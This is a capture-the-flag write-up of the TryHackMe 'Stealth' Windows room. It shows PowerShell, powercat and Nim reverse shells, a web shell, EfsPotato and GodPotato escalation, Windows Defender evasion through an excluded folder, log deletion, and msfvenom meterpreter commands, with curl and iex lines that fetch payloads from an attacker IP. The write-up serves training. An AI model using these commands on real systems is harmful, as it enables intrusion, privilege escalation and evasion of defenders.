# Stealth

{% embed url="<https://tryhackme.com/room/stealth>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## Recon

We start off with a Nmap scan and are able to detect six open ports. On ports 8000, 8080 and 8443, web servers are running. We also have an open port for RDP (3389) and open ports for SMB (139,445).

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZXbVpdFMGfw37vEpeGOh%2Fgrafik.png?alt=media&#x26;token=910ae1ca-eee8-4536-a8e1-13102e5b5ad3" alt=""><figcaption></figcaption></figure>

The challenge asks us to visit the page on 8080. Here we prompt a PowerShell Script Analyser. Here, we can check if the scripts provided are malicious. Only `.ps1` files are allowed. So the idea is to successfully upload a malicious PowerShell script containing a reverse shell, which hopefully gets executed at runtime.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbGwjxUAGbYKXlSYkKhfP%2Fgrafik.png?alt=media&#x26;token=550217b4-5780-4d14-b645-f3ca2d195f98" alt=""><figcaption></figcaption></figure>

## Foothold

We make use of a simple PowerShell reverse shell \[[powershell-reverse-shell.ps1](https://github.com/martinsohn/PowerShell-reverse-shell/blob/main/powershell-reverse-shell.ps1)] found on GitHub. It's a bit older, but it does not get detected. We change the IP and port  in the script.

{% embed url="<https://github.com/martinsohn/PowerShell-reverse-shell>" %}

Next, we set up a listener and...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fo0BXUekCxahXqmFfK3rC%2Fgrafik.png?alt=media&#x26;token=8fd0c61c-94d1-4dec-8a45-bb8c45f38732" alt=""><figcaption></figcaption></figure>

... after a short duration, the reverse connects. \
We are the user `hostevasion\evader` with not so many privileges, unfortunately. \
We head directly to the Desktop of the user to find an encoded flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOXVU7CIC4MHlL5In3GaJ%2Fgrafik.png?alt=media&#x26;token=1457dfe6-f30a-4e34-a6e1-5c0c5138dc62" alt=""><figcaption></figcaption></figure>

We make use of CyberChef to decode the contents of the flag using base64 and see that the contents of the flag were not actually the flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUjEct19iQNWeYwpDoVKj%2Fgrafik.png?alt=media&#x26;token=b670921a-7999-4e0e-8792-e4a78575efbf" alt=""><figcaption></figcaption></figure>

On visiting the site mentioned in the encoded flag, we get a hint, that the blue team got alerted, and we should have deleted the log files.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmqYGnwpL0R4e8FAFH1CS%2Fgrafik.png?alt=media&#x26;token=25d330a6-341c-4c79-8012-ec8f66bb9f19" alt=""><figcaption></figcaption></figure>

The log file can be found at `C:\xampp\htdocs\uploads`. We delete the `log.txt`...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fqqktxizl58yvHs4VSiP9%2Fgrafik.png?alt=media&#x26;token=d2b32a9e-1192-4e16-84e3-c5a8a69e9222" alt=""><figcaption></figcaption></figure>

...and after reloading the page, the flag gets revealed.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FyL8d55gQMpSUBUlOzhym%2Fgrafik.png?alt=media&#x26;token=de2caaf8-bdb9-458e-b640-190bd81f72ea" alt=""><figcaption></figcaption></figure>

## Privilege Escalation Variant I

The privilege escalation was a more lucky finding. On enumerating the target, it quickly became apparent that it was a xampp server running. As with challenge AVenger, a web shell (p0wny) was then immediately dropped in `htdocs`, even if the chances of success were slim, as it was already known that this was also running under the user evader. But the web shell then reveals more privileges for the same user.

To enumerate the target, WinPEAS and PrivescChecker were used. Those weren't detected by AV nor by Windows Defender.

{% embed url="<https://github.com/itm4n/PrivescCheck>" %}

After invoking PrivescCheck, some information could be gathered.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOAnwDebHIb3JQVgNvifa%2Fgrafik.png?alt=media&#x26;token=e0553e90-ae62-4420-a4dd-7063ca7af860" alt=""><figcaption></figcaption></figure>

Xampp is run by the user evader, so in conclusion, we could have write access to the folder. As already mentioned, we drop the web shell `p0wny` in here.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwxhIsXRiaBDlRnWrQweh%2Fgrafik.png?alt=media&#x26;token=a4458bbe-098a-47d1-98ee-82645a23659e" alt=""><figcaption></figcaption></figure>

After placing the shell in `htdocs`...

`curl http://10.8.211.1:9000/shell.php -o C:\xampp\htdocs\shell.php`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F35CiiB4wFIe7rO2wT2wH%2Fgrafik.png?alt=media&#x26;token=65bbdada-f6eb-499f-babd-8f2246110559" alt=""><figcaption></figcaption></figure>

...the shell could be accessed at `http://stealth.thm:8080/shell.php`. Here we see that the user in this context has some more privileges. Fortunately, the `SeImpersonatePrivilege` is present. With that, we are able to make use of the JuicyPotato or PrintSpoofer exploit. At this time, several versions were tested, and attempts were made to execute them. But unfortunately, almost all of them failed and were deleted by Windows Defender. It got me almost to obfuscating the source of those exploits on my own.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVnwAU8dy54M0oGsHyJWl%2Fgrafik.png?alt=media&#x26;token=586a097a-c19a-43e3-a8e5-37391b652d82" alt=""><figcaption></figcaption></figure>

But there was a version of zcgonvh that was not detected. This can be compiled on the victim machine. What has to be considered when compiling can be taken from the README.

{% embed url="<https://github.com/zcgonvh/EfsPotato>" %}

We check for a compiler at `C:\Windows\Microsoft.Net\Framework\` and see a v4.0 version is persent. Nice.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIDEbfKqMDm5napSolzRn%2Fgrafik.png?alt=media&#x26;token=881eb7e1-0722-4b3a-9d00-b88b093d7290" alt=""><figcaption></figcaption></figure>

We download the source file from out attacker machine, compile with the compiler found at `C:\Windows\Microsoft.Net\Framework\v4...`  and execute it with the `whoami` command.

```bash
curl http://10.8.211.1:9000/EfsPotato/EfsPotato.cs -o C:\xampp\htdocs\ep.cs
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe ep.cs -nowarn:1691,618
.\ep.exe whoami
```

We are `NT authority\system`. This exploit was not able to spawn a reverse shell, but we are able to add our own user.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcpkcGUr5KCbk3mUjPl3m%2Fgrafik.png?alt=media&#x26;token=e4680383-ae75-42cc-9331-8b8109de3a43" alt=""><figcaption></figcaption></figure>

After adding our user to the machine, we are able to RDP into the machine, since the port 3389 is open.&#x20;

`.\ep.exe "cmd.exe /c net user 0xb0b Password123! /add && net localgroup administrators 0xb0b /add"`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F46jMeL9mfVtRsjcOpi6E%2Fgrafik.png?alt=media&#x26;token=a2bac5be-2559-43d8-9ce1-123d28e94c2c" alt=""><figcaption></figcaption></figure>

On the machine, we head to the `C:\Users\Administrator\Desktop` folder and accept the UAC to find the flag there.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTCxtfeMLt2h9rK81YShc%2Fgrafik.png?alt=media&#x26;token=5b34f7df-e3d3-4e5c-b939-7e33d9c9dd65" alt=""><figcaption></figcaption></figure>

## Privilege Escalation Variant II

I think the showcased privilege escalation path using EfsPotato might not be the intended way, since after doing the same steps again writing this, an executable was found that should not be there. The `UACME-Akagi64.exe` to defeat UAC, which should be detected by AMSI / Windows Defender. Also in `C:Tools` was a `socat` binary present. Since these files were not deleted by Defender, they might be in the exclusions on Microsoft Windows Defender.

{% embed url="<https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-server-exclusions-microsoft-defender-antivirus?view=o365-worldwide#list-of-automatic-exclusions>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F07Gd4yIcOOHZPYMoL1ca%2Fgrafik.png?alt=media&#x26;token=797cbf73-cb4c-4085-bfc7-a0cc6c585820" alt=""><figcaption></figcaption></figure>

We check the file hash...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZzrc9Y1bkkWm0OKvhuSj%2Fgrafik.png?alt=media&#x26;token=714a6000-c003-43e1-88d3-5d0934bc1544" alt=""><figcaption></figcaption></figure>

... and the executable is indeed `UACME-Akagi64`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDyhWLe6iZBO9CdkB4S9C%2Fgrafik.png?alt=media&#x26;token=a0c9d171-ac0b-476e-b72f-fd45fbb64acb" alt=""><figcaption></figcaption></figure>

So, another thinkable way to defeat the Windows Defender is to replace the possible excluded `UACME-Akagi64.exe` executable with other harmful binaries like a meterpreter reverse shell or exploits like JuicyPotato that get otherwise detected.

{% hint style="info" %}
I received a note from Amine04 that the entire folder `C:\xampp` is probably excluded. Replacing the Agaki executable is therefore not necessary. The exclusion seems to be necessary for the foothold part, so that the uploaded files are not deleted directly. This variant therefore does not appear to be the intended one for the challenge.
{% endhint %}

We want to have it as convenient as possible, so we showcase that with the GodPotato exploit; the object `CLSID` is not required here, as it is with JuicyPotato.

Using the web shell with the `SeImpersonatePrivilege` we download the GodPotato exploit on the Desktop of the user `evader`. After downloading it, we directly try to execute it but get the error that the system cannot execute the specified program. After a short duration, it also gets deleted because Windows Defender is doing its job.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7MdWktqUAeGjrCH0YKi2%2Fgrafik.png?alt=media&#x26;token=992f75ce-779f-46a9-9146-69788027bdf2" alt=""><figcaption></figcaption></figure>

The following step of spawning an extra reverse shell with `SeImpersonatePrivileges` through the web shell is not necessary, but it is there to show that Microsoft Defender flags the binary as a virus at execution.

We make use of the powercat reverse shell shown in [avenger](https://0xb0b.gitbook.io/writeups/tryhackme/2023/avenger "mention"). We use a batch file to download and execute the shell.<br>

{% embed url="<https://github.com/secabstraction/PowerCat>" %}

First we create the shell using powercat:

```bash
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/avenger]
└─$ LHOST=10.8.211.1
                                                                        
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/avenger]
└─$ LPORT=49731
                                                                        
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/avenger]
└─$ rshell=shell-49731.txt
                                                                        
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/avenger]
└─$ pwsh -c "iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c $LHOST -p $LPORT -e cmd.exe -ge" > /home/0xb0b/Documents/tryhackme/avenger/$rshell
```

Prepare the batch to deploy the powercat reverse shell.

`echo START /B powershell -c $code=(New-Object System.Net.Webclient).DownloadString('http://10.8.211.1:9000/shell-49731.txt');iex 'powershell -E $code' > deploy.bat`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FaKkTv8MnnO3ViplRcyYx%2Fgrafik.png?alt=media&#x26;token=e64a1e77-80e9-412a-ac49-8e1e2e3ee39c" alt=""><figcaption></figcaption></figure>

Next, we set up a listener on port 49731 and run the batch file.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fri7jW2dLHXtG6gXtgyYO%2Fgrafik.png?alt=media&#x26;token=76503a56-aa09-4e9b-a532-6e6fbf96c137" alt=""><figcaption></figcaption></figure>

Our reverse shell connects, and due to the execution through the web shell, we also have the `SeImpersonatePrivilege`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHWju6tFicMH6TQprjQpu%2Fgrafik.png?alt=media&#x26;token=c7625e21-6ebd-423e-99a3-a4ab287fa603" alt=""><figcaption></figcaption></figure>

Next, we download the GodPotato executable.

{% embed url="<https://github.com/BeichenDream/GodPotato>" %}

After downloading, we have to be quick. So on execution of the GodPotato binary, we get the message "file contains a virus", Microsoft Defender is definitely working.

`curl http://10.8.211.1:9000/GodPotato-NET4.exe -o C:\Users\evader\Desktop\gp.exe`

`.\gp.exe -cmd "cmd /c whoami"`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRput9MnLeYEJsQYJlCnN%2Fgrafik.png?alt=media&#x26;token=a2bbf70d-9eb6-4dea-b085-2912ef1bc8c4" alt=""><figcaption></figcaption></figure>

So, now we place the GodPotato into the `C:\xampp` folder, replacing the `UACME-Akagi64.exe`. And after execution, we see that the exploit actually works, and we successfully bypassed Windows Defender.

`curl http://10.8.211.1:9000/GodPotato-NET4.exe> -o C:\xampp\UACME-Akagi64.exe`

`.\UACME-Akagi64.exe -cmd "cmd /c whoami"`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMKXzpsGXagcPxs1mPgo3%2Fgrafik.png?alt=media&#x26;token=9f4d5e4c-7d56-454b-b78d-5017d1abc06d" alt=""><figcaption></figcaption></figure>

The exploit also works in the web shell.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FF5TlNdb6BM3mcxS5yUMb%2Fgrafik.png?alt=media&#x26;token=e34e5f71-f67d-4202-a8c6-acf12ef7ce9a" alt=""><figcaption></figcaption></figure>

## Privilege Escalation Variant III

After seeing Aquinas' write-up, I wanted to try out his approach. I didn't see the scheduled task with my tools (I missed the -Extended Parameter using PrivescCheck) and until then I wouldn't have been able to check what this task actually does manually. I'm not very good with Windows yet, but I'm working on it. Thanks at this point to Aquinas for his contribution.

{% embed url="<https://github.com/ChrisPritchard/ctf-writeups/blob/master/tryhackme-rooms/stealth.md>" %}
check out Aquinas write-up
{% endembed %}

Other than Aquinas approach, I wanted to test an executable written in Nim as Tyler Ramsbey showcased:

{% embed url="<https://www.youtube.com/watch?v=BX-vFcRV664>" %}

We can check for scheduled tasks using the following command:

`schtasks /query /fo LIST /v | findstr /B /C:"Folder" /C:"TaskName" /C:"Run As User" /C:"Schedule" /C:"Scheduled Task State" /C:"Schedule Type" /C:"Repeat: Every" /C:"Comment"`

The first scheduled task that pops up is MyTHMTask, run as Administrator.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqxPzb5T4mcRNGA8ytOKV%2Fgrafik.png?alt=media&#x26;token=df8b48ca-1eb9-44e8-bfe0-43bb16848776" alt=""><figcaption></figcaption></figure>

To check what it is actually doing, we can access the `Actions` attribute by querying the scheduled task via `Get-ScheduledTask`. It is executing `C:\xampp\DebugCrashTHM.exe`. The idea here is to replace the executable with a malicious one, like a reverse shell, under the assumption that the current user can control the scheduled task via stop and start. If the current user is able to control the scheduled task, and the file is replaceable, we can get a connection running a reverse shell.

`(Get-ScheduledTask -TaskName "MyTHMTask").Actions`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7RM8tfFzCcv1dHT49wFs%2Fgrafik.png?alt=media&#x26;token=3abbc456-6024-4273-bb9c-3fb2cae6cad8" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/Sn1r/Nim-Reverse-Shell>" %}
source of the reverse shell
{% endembed %}

To install Nim and mingw-w64 run the following:

```
sudo apt install mingw-w64
sudo apt install nim
```

Next, we prepare the Nim reverse shell with our IP and port. The reverse shell can be found here:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fz0TX6KcDnWHwPNZJIWzO%2Fgrafik.png?alt=media&#x26;token=359b8925-7d70-478a-b8b4-55e44c14d169" alt=""><figcaption></figcaption></figure>

We chose the reverse shell to be written in nim, as Tyler states it is currently undetectable on current Windows machines. To compile, the following command is used:

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/stealth/Nim-Reverse-Shell]
└─$ nim c -d:mingw --app:gui -o:DebugCrashTHM.exe rev_shell.nim
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUSzvXILg5f3IqnBsMiK4%2Fgrafik.png?alt=media&#x26;token=f927fd29-8c39-4c39-8c9f-6e9d5d21027f" alt=""><figcaption></figcaption></figure>

Next, we set up a listener on our chosen port and downloaded the reverse shell via curl, replacing DebugCrashTHM.exe. After starting the task...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Frcbase1ClAfL20vr6xEY%2Fgrafik.png?alt=media&#x26;token=d50ea681-ca93-4720-83e3-075f2e5ddb5a" alt=""><figcaption></figcaption></figure>

...the reverse shell connects, and we are the user `administrator`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FEZ5Z8kI3XI3qlEFX8SwR%2Fgrafik.png?alt=media&#x26;token=0e7abdec-3786-4432-b309-245232444bad" alt=""><figcaption></figcaption></figure>

## Further Ideas

Another idea was to place a meterpreter reverse shell named after `UACME-Akagi64.exe` in `C:\xampp` and use the windows-exploit-suggester to maybe find other ways to escalate privileges. The Printerdemon exploit was a possible candidate, but unfortunately, the exploit failed. Here were the steps taken:

Generate the shell:

`msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.8.211.1 LPORT=8989 -f exe > UACME-Akagi64.exe`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIss2G1Mna61J0DyeP6d6%2Fgrafik.png?alt=media&#x26;token=17082777-e5a2-461b-8452-4d0bcca775c3" alt=""><figcaption></figcaption></figure>

Setup a listener:

`msfconsole -x "use exploits/multi/handler; set lhost 10.8.211.1; set lport 8989; set payload windows/meterpreter_reverse_tcp; exploit"`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNFvqdDdLFGp1Wfh22QsK%2Fgrafik.png?alt=media&#x26;token=5c87dc00-6929-4990-b130-1397e01035fa" alt=""><figcaption></figcaption></figure>

Download the meterpreter reverse shell named `UACME-Akagi64.exe`.

`curl http://10.8.211.1:9000/UACME-Akagi64.exe -o C:\xampp\UACME-Akagi64.exe`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0JK1mK6QOBcKZSHphEre%2Fgrafik.png?alt=media&#x26;token=462d6c1c-2ff9-46ed-9772-f6bf6ad48b21" alt=""><figcaption></figcaption></figure>

Executing the reverse shell:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9yWcijYxNdqsZhOAvYhl%2Fgrafik.png?alt=media&#x26;token=9f084848-42fb-4f47-a164-4a00823af66e" alt=""><figcaption></figcaption></figure>

The meterpreter connects:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FA5sUAv8oVpJtFBthxZJN%2Fgrafik.png?alt=media&#x26;token=8ff6e5f2-d817-4cda-9b2a-c863f3f0e376" alt=""><figcaption></figcaption></figure>

Run the exploit suggester in the meterpreter session:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXGnwZSCcl7PECxKZfZJq%2Fgrafik.png?alt=media&#x26;token=d5e23c71-646f-47f2-a9f9-a64cf994c173" alt=""><figcaption></figcaption></figure>

Configure and run the exploit:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmN6Pjd00D7DJQXv2Cktz%2Fgrafik.png?alt=media&#x26;token=77806509-8369-4202-a097-20f04786a0a3" alt=""><figcaption></figcaption></figure>
